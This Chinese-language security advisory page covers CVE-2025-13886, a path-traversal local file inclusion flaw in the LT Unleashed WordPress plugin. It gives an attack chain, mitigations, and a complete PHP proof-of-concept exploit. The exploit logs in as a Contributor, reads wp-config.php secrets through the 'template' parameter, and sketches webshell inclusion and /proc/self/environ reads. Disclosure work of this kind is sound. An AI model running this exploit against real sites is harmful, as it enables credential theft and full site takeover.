IPBUF安全漏洞报告
English
CVE-2025-13886 CVSS 7.5 高危

CVE-2025-13886 WordPress LT Unleashed插件本地文件包含漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13886
漏洞类型
本地文件包含
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LT Unleashed plugin for WordPress

相关标签

本地文件包含WordPress插件漏洞路径遍历远程代码执行CVE-2025-13886LT Unleashed短代码注入高危漏洞

漏洞概述

CVE-2025-13886是WordPress LT Unleashed插件中的一个高危本地文件包含漏洞。该漏洞存在于所有版本直至1.1.1,由于插件在处理book短代码的template参数时未进行充分的路径清理和验证,攻击者可以利用路径遍历技术包含服务器上的任意文件。此漏洞需要认证才能利用,但只需Contributor级别或更高的权限即可发起攻击。通过精心构造的请求,攻击者可以读取wp-config.php等敏感配置文件,进一步获取数据库凭据、API密钥等敏感信息。更严重的是,攻击者可以通过包含已写入恶意代码的文件来实现远程代码执行,从而完全控制受影响的WordPress站点。该漏洞CVSS评分7.5,属于高危级别,对系统的机密性、完整性和可用性都造成严重影响。

技术细节

LT Unleashed插件的本地文件包含漏洞源于对用户输入的template参数缺乏严格的路径验证。攻击者可以通过WordPress的shortcode机制传递包含路径遍历序列(如../)的template参数值。插件在处理这些参数时,直接将其用于include或require语句,而没有进行路径规范化或安全检查。例如,攻击者可以使用类似?template=../../wp-config的payload来遍历目录结构并包含wp-config.php文件。由于WordPress插件通常具有文件写入权限,攻击者可以先通过其他方式(如媒体上传功能)写入包含恶意PHP代码的文件,然后通过LFI漏洞包含并执行该文件。此外,某些WordPress主题或插件会缓存用户输入到文件中,为攻击者提供了写入webshell的途径。攻击者还可以利用/proc/self/environ等文件在特定环境下执行代码。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor级别账户凭据
STEP 2
步骤2
攻击者识别目标站点使用LT Unleashed插件(版本≤1.1.1)
STEP 3
步骤3
攻击者通过shortcode机制发送包含路径遍历payload的template参数,如[book template="../../wp-config"]
STEP 4
步骤4
插件收到请求后,由于缺乏路径验证,直接使用用户输入构造文件包含路径
STEP 5
步骤5
服务器执行include语句,攻击者成功读取wp-config.php等敏感文件
STEP 6
步骤6
如果需要代码执行,攻击者利用文件上传或日志注入写入webshell,然后通过LFI包含执行
STEP 7
步骤7
攻击者获得完全服务器控制权,可窃取数据、安装后门或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2025-13886 PoC - LT Unleashed Local File Inclusion // Requirements: Contributor-level access or higher on WordPress $target = 'http://target-wordpress-site.com'; $wp_user = 'attacker_username'; $wp_pass = 'attacker_password'; // Authentication $login_url = "$target/wp-login.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'log' => $wp_user, 'pwd' => $wp_pass, 'wp-submit' => 'Log In' ]); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_exec($ch); // Method 1: Read wp-config.php $exploit_url = "$target/?p=1&template=../../wp-config"; curl_setopt($ch, CURLOPT_URL, $exploit_url); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); $response = curl_exec($ch); echo "[+] Retrieved wp-config.php contents:\n"; if (preg_match_all('/define\s*\(\s*[\'"](.*?)[\'"]\s*,\s*[\'"](.*?)[\'"]\s*\)/', $response, $matches)) { foreach ($matches[1] as $i => $key) { echo "$key = " . $matches[2][$i] . "\n"; } } // Method 2: Include webshell for RCE (if writable file exists) // First, upload a file with malicious content, then include it: // $webshell_url = "$target/?p=1&template=../../uploads/webshell"; // curl_setopt($ch, CURLOPT_URL, $webshell_url); // $response = curl_exec($ch); // Method 3: Use /proc/self/environ (in certain shared hosting environments) // $proc_url = "$target/?p=1&template=/proc/self/environ"; // curl_setopt($ch, CURLOPT_URL, $proc_url); // $response = curl_exec($ch); curl_close($ch); echo "\n[+] Exploitation complete. Check retrieved data for credentials."; ?>

影响范围

LT Unleashed plugin for WordPress <= 1.1.1

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用LT Unleashed插件直至完成升级;2) 通过.htaccess或防火墙规则限制对包含template参数的请求;3) 检查并确保所有用户角色权限配置正确,特别是限制Contributor角色的功能;4) 监控服务器日志中的可疑路径遍历请求模式;5) 考虑使用WordPress安全插件提供额外的访问控制和入侵检测能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表